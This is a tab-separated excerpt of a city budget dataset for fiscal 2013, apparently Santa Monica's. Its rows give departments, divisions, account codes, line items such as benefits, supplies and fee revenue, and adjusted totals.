1823	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	511748.0	DENTAL	804.0	Salaries and Wages	2013	4900.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4900.0
1824	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	511748.0	DENTAL	816.0	Salaries and Wages	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	6628	0	0.0	6628.0
1825	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	511749.0	VISION	812.0	Salaries and Wages	2013	1712.0	0	0.0	0.0	0	0	0.0	-137	0.0	0	0	0.0	1575.0
1826	B1	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES	511774.0	RETIREMENT - AS NEEDED	812.0	Salaries and Wages	2013	14027.0	0	0.0	0.0	0	0	0.0	140	0.0	0	0	0.0	14167.0
1827	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511773.0	RETIREMENT - MISC. EMPL	806.0	Salaries and Wages	2013	709477.0	0	0.0	0.0	0	0	0.0	7095	0.0	0	0	0.0	716572.0
1828	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511743.0	MEDICAL - MISC. EMPL	806.0	Salaries and Wages	2013	135939.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	135939.0
1829	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL		EAP	804.0	Salaries and Wages	2013	813.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	813.0
1830	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL		DCAP	804.0	Salaries and Wages	2013	72.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	72.0
1831	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS		DISABILITY INSURANCE	804.0	Salaries and Wages	2013	2252.0	0	0.0	0.0	0	0	0.0	23	0.0	0	0	0.0	2275.0
1832	B1	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY		DISABILITY INSURANCE	804.0	Salaries and Wages	2013	51378.0	0	0.0	0.0	0	0	0.0	514	0.0	0	0	0.0	51892.0
1833	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	407720.0	ENCLOSURE PLAN CHECK FEES	650.0	Charges for Service	2013	-55058.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-55058.0
1834	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	566260.0	SPECIAL EVENTS		 Supplies and Expenses	2013	15000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	15000.0
1835	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	407610.0	I-NET REVENUE	612.0	Charges for Service	2013	-35700.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-35700.0
1836	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	533020.0	GENERAL LIABILITY / AUTO	804.0	 Supplies and Expenses	2013	14164.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	14164.0
1837	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	544010.0	SPECIAL DEPARTMENT SUPPLIES	804.0	 Supplies and Expenses	2013	2565.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2565.0
1838	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2013	19119.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	19119.0
1839	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS		EAP	804.0	Salaries and Wages	2013	1148.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1148.0
1840	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2013	17381.0	0	0.0	0.0	0	0	0.0	850	0.0	0	0	0.0	18231.0
1841	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS	511749.0	VISION	804.0	Salaries and Wages	2013	1369.0	0	0.0	0.0	0	0	0.0	65	0.0	0	0	0.0	1434.0
1842	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS		UNEMPLOYMENT	804.0	Salaries and Wages	2013	5896.0	0	0.0	0.0	0	0	0.0	234	0.0	0	0	0.0	6130.0
1843	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2013	8892.0	0	0.0	0.0	0	0	0.0	589	0.0	0	0	0.0	9481.0
1844	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2013	78218.0	0	0.0	0.0	0	0	0.0	5000	0.0	0	0	0.0	83218.0
1845	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2013	100538.0	0	0.0	0.0	0	0	0.0	4061	0.0	0	0	0.0	104599.0
1846	B1	IS	30	Pier Fund	620	HOUSING & ECONOMIC DEVELOPMENT	626	PIER DIVISION	402010.0	SM PIER - RENTAL	650.0	Charges for Service	2013	-2940612.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-2940612.0
1847	B1	IS	30	Pier Fund	620	HOUSING & ECONOMIC DEVELOPMENT	626	PIER DIVISION	405170.0	CAM FEES	650.0	Charges for Service	2013	-351203.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-351203.0
1848	B1	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	511748.0	DENTAL	804.0	Salaries and Wages	2013	9801.0	0	0.0	-222.0	0	0	0.0	0	0.0	0	0	0.0	9579.0
1849	B1	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	511749.0	VISION	804.0	Salaries and Wages	2013	1369.0	0	0.0	-7.0	0	0	0.0	0	0.0	0	0	0.0	1362.0
1850	B1	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE		EAP	804.0	Salaries and Wages	2013	1044.0	0	0.0	-4.0	0	0	0.0	0	0.0	0	0	0.0	1040.0
1851	B1	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	522540.0	ADVERTISING	804.0	 Supplies and Expenses	2013	30000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	30000.0
1852	B1	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	566570.0	PERSONNEL EXAM EXPENSES	804.0	 Supplies and Expenses	2013	66000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	66000.0
1853	B1	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2013	0.0	0	0.0	-400.0	0	0	0.0	0	0.0	0	0	0.0	-400.0
1854	B1	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	544120.0	PERIODICALS	804.0	 Supplies and Expenses	2013	1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1000.0
1855	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	402160.0	AIRPORT - MISCELLANEOUS REV	662.0	Other	2013	-7600.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-7600.0
1856	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	511774.0	RETIREMENT - AS NEEDED		Salaries and Wages	2013	654.0	0	0.0	0.0	0	0	0.0	7	0.0	0	0	0.0	661.0
1857	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522180.0	BANK FEES		 Supplies and Expenses	2013	638.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	638.0
1858	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	533070.0	AIRPORT SECURITY GUARDS TRANS		 Supplies and Expenses	2013	628174.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	628174.0
1859	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	533220.0	BLDG / STRUCTURE MAINTENANCE		 Supplies and Expenses	2013	4080.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4080.0
1860	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	555060.0	PROFESSIONAL SERVICES		 Supplies and Expenses	2013	503532.16	0	0.0	-165926.0	0	0	0.0	0	0.0	0	0	0.0	337606.16
1861	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON		EAP	804.0	Salaries and Wages	2013	1666.0	0	0.0	-104.0	0	0	0.0	0	0.0	0	0	0.0	1562.0
1862	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2013	57080.0	0	0.0	0.0	0	0	0.0	-1285	0.0	0	0	0.0	55795.0
1863	B1	IS	52	Special Aviation Fund	500	PUBLIC WORKS	431	AIRPORT	402950.0	INT DEP / INVESTMENT	659.0	Investment Income	2013	-1500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-1500.0
1864	B1	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2013	2500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2500.0
1865	B1	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2013	24500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	24500.0
1866	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	522825.0	FOOD PURCHASES	816.0	 Supplies and Expenses	2013	3140.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3140.0
1867	B1	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	522825.0	FOOD PURCHASES	808.0	 Supplies and Expenses	2013	700.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	700.0
1868	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	522825.0	FOOD PURCHASES		 Supplies and Expenses	2013	100.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	100.0
1869	B1	IS	20	Miscellaneous Grants Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	402390.0	DWR SUSTAINABLE LANDSCAPE GRAN	610.0	Intergovernmental	2013	-10000.0	0	0.0	0.0	0	0	0.0	0	10000.0	0	0	0.0	0.0
1870	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	404081.0	INTEREST - PROP 1B-SECURITY	659.0	Investment Income	2013	-10750.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-10750.0
1871	B1	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2013	262540.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	262540.0
1872	B1	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2013	5468.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5468.0
1873	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522130.0	UTILITIES - WATER	850.0	 Supplies and Expenses	2013	8400.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8400.0
1874	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	405221.0	PYMT-MAIN ST-LIGHTS & SIDEWLK	622.0	Other	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
1875	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511748.0	DENTAL	810.0	Salaries and Wages	2013	2657.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2657.0
1876	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2013	66656.0	0	0.0	0.0	0	0	0.0	667	0.0	0	0	0.0	67323.0
1877	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2013	5176.0	0	0.0	-1700.0	0	0	0.0	0	0.0	0	0	0.0	3476.0
1878	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2013	38171.0	0	0.0	-6386.0	0	0	0.0	318	0.0	0	0	0.0	32103.0
1879	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	401610.0	LIBRARY CAFE RENT	618.0	Rentals	2013	-40000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-40000.0
1880	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	401100.0	VIDEO ARCHIVE/WEB HOSTING SVC	612.0	Charges for Service	2013	-6670.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-6670.0
1881	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2013	501500.0	0	0.0	0.0	0	0	0.0	5015	0.0	0	0	0.0	506515.0
1882	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION		MEDICAL-RETIREE	806.0	Salaries and Wages	2013	15172.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	15172.0
1883	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2013	6711.0	0	0.0	0.0	0	0	0.0	67	0.0	0	0	0.0	6778.0
1884	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2013	65181.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	65181.0
1885	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2013	92638.0	0	0.0	0.0	0	0	0.0	926	0.0	0	0	0.0	93564.0
1886	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2013	180589.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	180589.0
1887	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS	511748.0	DENTAL	804.0	Salaries and Wages	2013	10922.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10922.0
1888	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2013	170502.0	0	0.0	0.0	0	0	0.0	5000	0.0	0	0	0.0	175502.0
1889	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS	544010.0	SPECIAL DEPARTMENT SUPPLIES	804.0	 Supplies and Expenses	2013	7875.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7875.0
1890	B1	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2013	1647.0	0	0.0	0.0	0	0	0.0	0	0.0	-1647	0	0.0	0.0
1891	B1	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	511490.0	OVERTIME	804.0	Salaries and Wages	2013	1558.0	0	0.0	0.0	0	0	0.0	16	0.0	0	0	0.0	1574.0
1892	B1	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2013	336808.0	0	0.0	0.0	0	0	0.0	3368	0.0	0	0	0.0	340176.0
1893	B1	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	511490.0	OVERTIME	804.0	Salaries and Wages	2013	1558.0	0	0.0	0.0	0	0	0.0	16	0.0	0	0	0.0	1574.0
1894	B1	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2013	5176.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5176.0
1895	B1	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	511749.0	VISION	804.0	Salaries and Wages	2013	404.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	404.0
1896	B1	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES		UNEMPLOYMENT	804.0	Salaries and Wages	2013	1623.0	0	0.0	0.0	0	0	0.0	16	0.0	0	0	0.0	1639.0
1897	B1	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	544010.0	SPECIAL DEPARTMENT SUPPLIES	804.0	 Supplies and Expenses	2013	1100.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1100.0
1898	B1	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	511490.0	OVERTIME	804.0	Salaries and Wages	2013	1559.0	0	0.0	0.0	0	0	0.0	16	0.0	0	0	0.0	1575.0
1899	B1	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	661	WASTE WATER	405490.0	PARCEL TAX ASSESSMENT	606.0	Other Local Taxes	2013	-2937600.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-2937600.0
1900	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	555110.0	LEGAL EXPENSE		 Supplies and Expenses	2013	150000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	150000.0
1901	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	544170.0	UNIFORM / PROTECTIVE CLOTHING	804.0	 Supplies and Expenses	2013	2050.0	0	0.0	0.0	0	0	0.0	-2050	0.0	0	0	0.0	0.0
1902	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	544390.0	OTHER COSTS	804.0	 Supplies and Expenses	2013	74695.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	74695.0
1903	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	555060.0	PROFESSIONAL SERVICES	804.0	 Supplies and Expenses	2013	790202.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	790202.0
1904	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	555130.0	TOXIC CHEMICAL	804.0	 Supplies and Expenses	2013	276000.0	0	0.0	0.0	0	0	0.0	-276000	0.0	0	0	0.0	0.0
1905	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	555210.0	TRAINING	804.0	 Supplies and Expenses	2013	15699.0	0	0.0	0.0	0	0	0.0	-450	0.0	0	0	0.0	15249.0
1906	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	212	R & ES(CITY CLERK)-ELECTIONS	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2013	200.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	200.0
1907	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	522825.0	FOOD PURCHASES	816.0	 Supplies and Expenses	2013	4000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4000.0
1908	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522825.0	FOOD PURCHASES	806.0	 Supplies and Expenses	2013	10000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10000.0
1909	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522825.0	FOOD PURCHASES	810.0	 Supplies and Expenses	2013	2000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2000.0
1910	B1	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	408000.0	INTERFUND SERVICES-FIN	612.0	Charges for Service	2013	-699051.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-699051.0
1911	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	405220.0	MAIN ST-LIGHTS & SIDEWLK CLEAN	622.0	Other	2013	-2661.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-2661.0
1912	B1	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2013	310945.0	0	0.0	0.0	0	0	0.0	3109	0.0	0	0	0.0	314054.0
1913	B1	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	522910.0	VEHICLES - FUELS / LUBRICATION	808.0	 Supplies and Expenses	2013	125.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	125.0
1914	B1	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	522950.0	CNG FUEL	808.0	 Supplies and Expenses	2013	594.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	594.0
1915	B1	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	808.0	 Supplies and Expenses	2013	8200.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8200.0
1916	B1	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2013	4080.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4080.0
1917	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DCAP	810.0	Salaries and Wages	2013	216.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	216.0
1918	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522720.0	MILEAGE	810.0	 Supplies and Expenses	2013	500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	500.0
1919	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522825.0	FOOD PURCHASES	810.0	 Supplies and Expenses	2013	700.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	700.0
1920	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2013	22595.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	22595.0
1921	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522720.0	MILEAGE	810.0	 Supplies and Expenses	2013	1280.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1280.0
1922	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	522630.0	OFFICE RENT	804.0	 Supplies and Expenses	2013	137000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	137000.0
1923	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	533020.0	GENERAL LIABILITY / AUTO	804.0	 Supplies and Expenses	2013	9578.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	9578.0
1924	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	544040.0	BOOKS / PAMPHLETS	804.0	 Supplies and Expenses	2013	4000.0	0	0.0	0.0	0	0	0.0	-500	0.0	0	0	0.0	3500.0
1925	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	544740.0	ARTIST FELLOWSHIPS	810.0	 Supplies and Expenses	2013	55000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	55000.0
1926	B1	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
1927	B1	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2013	16733.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	16733.0
1928	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	522825.0	FOOD PURCHASES	816.0	 Supplies and Expenses	2013	1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1000.0
1929	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	522825.0	FOOD PURCHASES	806.0	 Supplies and Expenses	2013	250.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	250.0
1930	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	407940.0	GREEN BUILDING	612.0	Charges for Service	2013	-175000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-175000.0
1931	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	406980.0	PBAD ASSESSMENT	622.0	Other	2013	-32336.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-32336.0
1932	B1	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	522310.0	OFFICE SUPPLIES / EXPENSES	808.0	 Supplies and Expenses	2013	14773.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	14773.0
1933	B1	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	523000.0	VEHICLE MGMT FUND-MAINTENANCE	808.0	 Supplies and Expenses	2013	2601.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2601.0
1934	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	533680.0	CONF / MTGS / TRAVEL -	804.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
1935	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511730.0	WORKERS' COMP INSURANCE	810.0	Salaries and Wages	2013	43227.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	43227.0
1936	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2013	5214.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5214.0
1937	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2013	1480.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1480.0
1938	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511490.0	OVERTIME	810.0	Salaries and Wages	2013	39942.0	0	0.0	0.0	0	0	0.0	399	0.0	0	0	0.0	40341.0
1939	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2013	124159.0	0	0.0	0.0	0	0	0.0	1242	0.0	0	0	0.0	125401.0
1940	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2013	28722.0	0	0.0	0.0	0	0	0.0	287	0.0	0	0	0.0	29009.0
